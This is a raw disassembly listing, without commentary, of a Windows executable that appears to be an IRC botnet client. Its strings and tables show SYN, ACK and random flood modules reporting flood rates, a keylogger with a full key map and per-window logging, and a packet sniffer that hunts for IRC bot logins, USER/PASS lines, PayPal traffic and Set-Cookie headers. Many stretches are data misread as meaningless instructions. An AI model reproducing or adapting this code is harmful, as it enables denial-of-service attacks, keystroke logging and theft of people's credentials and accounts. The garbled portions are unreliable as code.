dw 1D5h aGettemppatha_0 db 'GetTempPathA',0 align 2 dw 15Ah aGetexitcodep_0 db 'GetExitCodeProcess',0 align 4 dd 65500291h, 614E6B65h, 5064656Dh, 657069h, 75440093h dd 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentpr_1 db 'GetCurrentProcess',0 aE db 'e',0 aCreatepipe db 'CreatePipe',0 align 4 db 0E9h ; db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 4 db 2, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 db '',0 aExitprocess_0 db 'ExitProcess',0 db 94h ; db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 275h aMultibytetow_0 db 'MultiByteToWideChar',0 dd 65470114h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65440083h dd 6574656Ch, 656C6946h, 1430041h aGetcurrentpr_2 db 'GetCurrentProcessId',0 aC db 'C',0 aCopyfilea db 'CopyFileA',0 db 90h db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 db 6Eh ; n db 2, 4Dh, 6Fh aVefilea db 'veFileA',0 db 5Eh ; ^ db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 4 db 0EEh ; db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 dd 65470174h, 636F4C74h, 49656C61h, 416F666Eh, 1780000h dd 4C746547h, 6369676Fh, 72446C61h, 73657669h, 38E0000h aWaitformultipl db 'WaitForMultipleObjects',0 align 4 db 0FCh ; align 2 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 4 db 0D7h ; db 2, 52h, 74h aLunwind db 'lUnwind',0 db 0E2h ; db 1, 47h, 65h aTtimezoneinfor db 'tTimeZoneInformation',0 align 2 dw 1C8h aGetsystemtime db 'GetSystemTime',0 dw 21Ah aHeaprealloc db 'HeapReAlloc',0 dd 654701B7h, 61745374h, 70757472h, 6F666E49h, 1100041h dd 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h dd 72655674h, 6E6F6973h, 1580000h aGetenvironme_0 db 'GetEnvironmentVariableA',0 dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h dd 69725764h, 74506574h, 2A70072h, 73696152h, 63784565h dd 69747065h, 6E6Fh, 6548021Ch, 69537061h, 657Ah, 434C0244h dd 5370614Dh, 6E697274h, 4167h, 434C0245h, 5370614Dh, 6E697274h dd 5767h, 65470104h, 49504374h, 6F666Eh, 654700FDh, 50434174h dd 1930000h, 4F746547h, 50434D45h, 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironme_1 db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_2 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B9h aGetstdhandle db 'GetStdHandle',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 0BAh ; db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU db '',0 aFlushfilebuf_0 db 'FlushFileBuffers',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 233h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 310h aSetendoffile db 'SetEndOfFile',0 align 2 db ':',0 aComparestringa db 'CompareStringA',0 align 4 db ';',0 aComparestringw db 'CompareStringW',0 align 2 dw 313h aSetenvironme_0 db 'SetEnvironmentVariableA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 db 0 _1 ends ; Section 3. (virtual address 00024000) ; Virtual size : 000A6720 ( 681760.) ; Section size in file : 000A6720 ( 681760.) ; Offset to raw data for section: 00024000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _2 segment para public 'CODE' use32 assume cs:_2 ;org 424000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_424000 dd 0 ; DATA XREF: sub_417BD8+1Fo dd offset sub_4039F9 dword_424008 dd 0 ; DATA XREF: sub_417BD8+1Ao dword_42400C dd 0 ; DATA XREF: sub_417BD8+10o dd offset sub_416832 ; --------------------------------------------------------------------------- adc esi, ecx inc ecx add [edx-25h], ah inc ecx add ah, dl loc_42401D: ; DATA XREF: sub_417BD8:loc_417BE3o jmp loc_424063 ; --------------------------------------------------------------------------- align 4 dword_424024 dd 0 ; DATA XREF: sub_417C27+65o dd offset loc_41DC07 dword_42402C dd 0 ; DATA XREF: sub_417C27:loc_417C87o dword_424030 dd 0 ; DATA XREF: sub_417C27+76o dd offset loc_41E9E5 dword_424038 dd 2 dup(0) ; DATA XREF: sub_417C27:loc_417C98o dword_424040 dd 7A026E02h, 201F6D1Fh, 6F646428h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_401000+5Eo dd 0BBBB0220h, 44202002h, 20656E6Fh db 77h, 69h, 74h ; --------------------------------------------------------------------------- loc_424063: ; CODE XREF: _2:loc_42401Dj push 6F6C6620h outsd and fs:[eax], ch and eax, 2F424B69h jnb short loc_4240D8 arpl [ecx], bp add cs:[eax], al loc_424078: ; DATA XREF: sub_4010B5+302o add ch, [esi+2] jp short loc_42409C insd pop ds and [eax], ch db 64h outs dx, dword ptr fs:[esi] jnb short near ptr loc_4240B3+1 jo short loc_4240A7 insb pop ds sub [bx+si], esp add bh, [ebx+202002BBh] push ebx outs dx, byte ptr gs:[esi] and fs:[ebp+72h], ah jb short near ptr loc_42410A+1 loc_42409C: ; CODE XREF: _2:0042407Bj jb short loc_4240D8 and ds:2E3E64h, bh ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4240A7: ; CODE XREF: _2:00424086j ; DATA XREF: sub_4010B5:loc_4011E1o ... add [esp+6Fh], ah jnb short near ptr loc_4240DA+1 jb short loc_424110 outsb outs dx, dword ptr fs:[esi] insd loc_4240B3: ; CODE XREF: _2:00424084j ; DATA XREF: sub_4010B5:loc_4011C5o ... add [esp+6Fh], ah jnb short loc_4240E7 popa arpl [ebx+0], bp ; --------------------------------------------------------------------------- db 3 dup(0) dword_4240C0 dd 736F6464h, 6E79732Eh, 0 ; DATA XREF: sub_4010B5+F1o ; sub_40D2E0+2661o dword_4240CC dd 7A026E02h, 201F6D1Fh, 6D636928h ; DATA XREF: sub_40144A+397o ; --------------------------------------------------------------------------- loc_4240D8: ; CODE XREF: _2:00424071j ; _2:loc_42409Cj jo short loc_424108 loc_4240DA: ; CODE XREF: _2:004240ABj jo short near ptr loc_4240F8+3 insb pop ds sub [bx+si], esp add bh, [ebx+202002BBh] loc_4240E7: ; CODE XREF: _2:004240B7j inc esp outsd outsb and gs:[edi+69h], dh jz short loc_424158 and ds:6C662073h, ah outsd outsd loc_4240F8: ; CODE XREF: _2:loc_4240DAj and fs:[edi+ebp*2+20h], dh dec ecx push eax cmp ah, [eax] and eax, 53202E73h outs dx, byte ptr gs:[esi] loc_424108: ; CODE XREF: _2:loc_4240D8j jz short near ptr loc_424141+3 loc_42410A: ; CODE XREF: _2:0042409Aj and ds:61702064h, ah loc_424110: ; CODE XREF: _2:004240ADj arpl [ebx+65h], bp jz short loc_42413D jnb short near ptr loc_42413E+2 and [eax+20h], al and eax, 2F424B64h jnb short loc_424186 arpl [eax], sp sub ds:29424D64h, ah add cs:[eax], al loc_42412C: ; DATA XREF: sub_40144A+307o add ch, [esi+2] jp short loc_424150 insd pop ds and [eax], ch imul esp, [ebx+6Dh], 1F702E70h insb loc_42413D: ; CODE XREF: _2:00424113j pop ds loc_42413E: ; CODE XREF: _2:00424115j sub [bx+si], esp loc_424141: ; CODE XREF: _2:loc_424108j add bh, [ebx+202002BBh] inc ebp jb short near ptr loc_4241BB+1 outsd jb short loc_42416D jnb short loc_4241B4 outsb loc_424150: ; CODE XREF: _2:0042412Fj imul ebp, fs:[esi+67h], 63617020h loc_424158: ; CODE XREF: _2:004240EEj imul esp, [ebp+74h], 73h and [edi+ebp*2+20h], dh dec ecx push eax cmp ah, [eax] and eax, 50202E73h popa arpl [ebx+65h], bp loc_42416D: ; CODE XREF: _2:0042414Bj jz short loc_4241E2 and [ebx+65h], dh outsb jz short near ptr loc_4241AC+3 and ds:52202E64h, ah db 65h jz short near ptr loc_4241ED+6 jb short near ptr loc_4241ED+1 db 65h cmp ah, fs:[eax] cmp al, 25h loc_424186: ; CODE XREF: _2:0042411Fj db 64h, 3Eh add cs:[eax], al loc_42418B: ; DATA XREF: sub_40144A+12Ao add [edx], al outsb add bh, [edx+1Fh] insd pop ds and [eax], ch imul esp, [ebx+6Dh], 1F702E70h insb pop ds sub [bx+si], esp add bh, [ebx+202002BBh] dec ecx outsb jbe short near ptr loc_42420B+1 insb loc_4241AC: ; CODE XREF: _2:00424173j imul esp, [eax+74h], 65677261h loc_4241B4: ; CODE XREF: _2:0042414Dj jz short near ptr loc_4241D1+5 dec ecx push eax add cs:[eax], al loc_4241BB: ; CODE XREF: _2:00424148j ; DATA XREF: sub_40144A+C2o add [edx], al outsb add bh, [edx+1Fh] insd pop ds and [eax], ch imul esp, [ebx+6Dh], 1F702E70h insb pop ds sub [bx+si], esp loc_4241D1: ; CODE XREF: _2:loc_4241B4j add bh, [ebx+202002BBh] inc ebp jb short near ptr aSupersynDoneWi+4 outsd jb short near ptr loc_424216+1 and [ebx+65h], dh jz short near ptr aSupersynDoneWi+0Dh loc_4241E2: ; CODE XREF: _2:loc_42416Dj outsd arpl [ebx+6Fh], bp jo short near ptr aSupersynDoneWi+14h sub [ecx], ch and [esi+61h], ah loc_4241ED: ; CODE XREF: _2:0042417Ej _2:0042417Bj imul ebp, [ebp+64h], 6572202Ch jz short near ptr aSupersynDoneWi+24h jb short near ptr aSupersynDoneWi+1Fh db 65h cmp ah, fs:[eax] cmp al, 25h db 64h, 3Eh add cs:[eax], al loc_424204: ; DATA XREF: sub_40144A+49o add ch, [esi+2] jp short loc_424228 insd pop ds loc_42420B: ; CODE XREF: _2:004241A9j and [eax], ch imul esp, [ebx+6Dh], 1F702E70h insb pop ds loc_424216: ; CODE XREF: _2:004241DBj sub [bx+si], esp add bh, [ebx+202002BBh] inc ebp jb short loc_424294 outsd jb short near ptr aSupersynDoneWi+17h and [ebx+6Fh], dh loc_424228: ; CODE XREF: _2:00424207j arpl [ebx+65h], bp jz short near ptr aSupersynDoneWi+0Dh sub [eax], esp popaw imul ebp, [ebp+64h], 6572202Ch jz short near ptr loc_4242AF+1 jb short near ptr loc_4242AA+1 db 65h cmp ah, fs:[eax] cmp al, 25h db 64h, 3Eh add cs:[eax], al ; --------------------------------------------------------------------------- aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; CODE XREF: _2:004241D8j ; _2:004241E0j ... align 10h dword_424270 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h, 6F442020h, 7720656Eh, 20687469h ; --------------------------------------------------------------------------- loc_424294: ; CODE XREF: _2:00424220j db 66h insb outsd outsd and fs:[eax], ch and eax, 2F424B69h jnb short near ptr loc_424306+1 arpl [ecx], bp add cs:[eax], al loc_4242A7: ; DATA XREF: sub_401A76+27Do add [edx], al outsb loc_4242AA: ; CODE XREF: _2:0042423Bj add bh, [edx+1Fh] insd pop ds loc_4242AF: ; CODE XREF: _2:00424239j and [eax], ch jnb short near ptr loc_42432A+2 outsb db 2Eh jo short near ptr loc_4242D4+2 insb pop ds sub [bx+si], esp add bh, [ebx+202002BBh] push ebx outs dx, byte ptr gs:[esi] and fs:[ebp+72h], ah jb short loc_42433A jb short near ptr loc_424306+1 and ds:2E3E64h, bh loc_4242D4: ; CODE XREF: _2:004242B4j ; DATA XREF: sub_401D82+4EBo add ch, [esi+2] jp short near ptr loc_4242F7+1 insd pop ds and [eax], ch jz short near ptr loc_424341+1 jo short loc_42430F jo short near ptr loc_4242FF+3 insb pop ds sub [bx+si], esp add bh, [ebx+202002BBh] inc esp outsd outsb and gs:[edi+69h], dh jz short loc_42435F loc_4242F7: ; CODE XREF: _2:004242D7j and ds:6C662073h, ah outsd outsd loc_4242FF: ; CODE XREF: _2:004242E1j and fs:[edi+ebp*2+20h], dh dec ecx push eax loc_424306: ; CODE XREF: _2:004242A0j _2:004242CBj cmp ah, [eax] and eax, 53202E73h outs dx, byte ptr gs:[esi] loc_42430F: ; CODE XREF: _2:004242DFj jz short near ptr loc_424348+3 and ds:61702064h, ah arpl [ebx+65h], bp jz short loc_424344 jnb short near ptr loc_424345+2 and [eax+20h], al and eax, 2F424B64h jnb short loc_42438D arpl [eax], sp loc_42432A: ; CODE XREF: _2:004242B1j sub ds:29424D64h, ah add cs:[eax], al loc_424333: ; DATA XREF: sub_401D82+44Fo add [edx], al outsb add bh, [edx+1Fh] insd loc_42433A: ; CODE XREF: _2:004242C9j pop ds and [eax], ch jz short near ptr aSyn+2 jo short near ptr loc_42436B+4 loc_424341: ; CODE XREF: _2:004242DDj jo short near ptr loc_42435F+3 insb loc_424344: ; CODE XREF: _2:0042431Aj pop ds loc_424345: ; CODE XREF: _2:0042431Cj sub [bx+si], esp loc_424348: ; CODE XREF: _2:loc_42430Fj add bh, [ebx+202002BBh] inc ebp jb short loc_4243C3 outsd jb short loc_424374 jnb short near ptr loc_4243B8+3 outsb imul ebp, fs:[esi+67h], 63617020h loc_42435F: ; CODE XREF: _2:004242F5j ; _2:loc_424341j imul esp, [ebp+74h], 73h and [edi+ebp*2+20h], dh dec ecx push eax cmp ah, [eax] loc_42436B: ; CODE XREF: _2:0042433Fj and eax, 50202E73h popa arpl [ebx+65h], bp loc_424374: ; CODE XREF: _2:00424352j jz short loc_4243E9 and [ebx+65h], dh outsb jz short loc_4243B6 and ds:52202E64h, ah db 65h jz short loc_4243FA jb short near ptr loc_4243F4+1 db 65h cmp ah, fs:[eax] cmp al, 25h loc_42438D: ; CODE XREF: _2:00424326j db 64h, 3Eh add cs:[eax], al ; --------------------------------------------------------------------------- dw 0 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40D2E0+2C3Co align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40D2E0+2C25o aSyn db 'syn',0 ; CODE XREF: _2:0042433Dj ; DATA XREF: sub_401D82+2D2o ... dword_4243A4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh ; DATA XREF: sub_401D82+15Fo db 1Fh, 67h ; --------------------------------------------------------------------------- loc_4243B6: ; CODE XREF: _2:0042437Aj sub [eax], esp loc_4243B8: ; CODE XREF: _2:00424354j add bh, [ebx+202002BBh] dec ecx outsb jbe short loc_424423 insb loc_4243C3: ; CODE XREF: _2:0042434Fj imul esp, [eax+74h], 65677261h jz short near ptr loc_4243E9+4 dec ecx push eax add cs:[eax], al ; --------------------------------------------------------------------------- dw 0 dword_4243D4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo db 2 ; --------------------------------------------------------------------------- loc_4243E9: ; CODE XREF: _2:loc_424374j ; _2:004243CBj mov ebx, 202002BBh inc ebp jb short loc_424463 outsd jb short near ptr loc_42442D+1 loc_4243F4: ; CODE XREF: _2:00424385j and [ebx+65h], dh jz short near ptr dword_42446C outsd loc_4243FA: ; CODE XREF: _2:00424382j arpl [ebx+6Fh], bp jo short loc_424473 sub [ecx], ch and [esi+61h], ah imul ebp, [ebp+64h], 6572202Ch jz short near ptr byte_424483 jb short loc_42447E db 65h cmp ah, fs:[eax] cmp al, 25h db 64h, 3Eh add cs:[eax], al loc_42441B: ; DATA XREF: sub_401D82+70o add [edx], al outsb add bh, [edx+1Fh] insd pop ds loc_424423: ; CODE XREF: _2:004243C0j and [eax], ch jz short near ptr word_42448A jo short near ptr loc_424454+3 jo short near ptr loc_424448+2 insb pop ds loc_42442D: ; CODE XREF: _2:004243F2j sub [bx+si], esp add bh, [ebx+202002BBh] inc ebp jb short near ptr byte_4244AB outsd jb short near ptr loc_424473+3 and [ebx+6Fh], dh arpl [ebx+65h], bp jz short near ptr dword_42446C sub [eax], esp popaw loc_424448: ; CODE XREF: _2:00424429j imul ebp, [ebp+64h], 6572202Ch jz short loc_4244C7 jb short near ptr word_4244C2 loc_424454: ; CODE XREF: _2:00424427j db 65h cmp ah, fs:[eax] cmp al, 25h db 64h, 3Eh add cs:[eax], al add [eax], cl ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_424463: ; CODE XREF: _2:004243EFj ; DATA XREF: sub_4023A7:loc_40248Ao add [edx+0], ah ; --------------------------------------------------------------------------- dw 0 dd 62000000h dword_42446C dd 0 ; CODE XREF: _2:004243F7j _2:00424442j db 3 dup(0) ; --------------------------------------------------------------------------- loc_424473: ; CODE XREF: _2:004243FDj _2:0042443Aj add ds:65000000h, cl ; --------------------------------------------------------------------------- db 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_42447E: ; CODE XREF: _2:0042440Ej add [ebp+0], ah ; --------------------------------------------------------------------------- db 2 dup(0) byte_424483 db 0 ; CODE XREF: _2:0042440Cj align 8 db 1Bh, 0 word_42448A dw 0 ; CODE XREF: _2:00424425j dd 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h db 46h, 31h, 5Dh byte_4244AB db 0 ; CODE XREF: _2:00424437j align 10h dd 71h, 5D32465Bh, 5B000000h, 5D3246h db 2 dup(0) word_4244C2 dw 0 ; CODE XREF: _2:00424452j db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4244C7: ; CODE XREF: _2:00424450j add [ebx+46h], bl xor ebx, [ebp+0] ; --------------------------------------------------------------------------- db 2 dup(0), 5Bh dd 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_424B94 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_424BCC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40D2E0+2AE5o align 4 asc_424C0C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_424C58 dd offset dword_4254D0 ; DATA XREF: sub_402688+29Er dd offset off_4254CC dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dword_424C68 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_424C7C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: _2:00424C64o align 4 aFtp db 'FTP',0 ; DATA XREF: _2:00424C60o off_4254CC dd offset byte_435249 ; DATA XREF: _2:00424C5Co dword_4254D0 dd 544F42h ; DATA XREF: _2:off_424C58o unk_4254D4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_425518 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 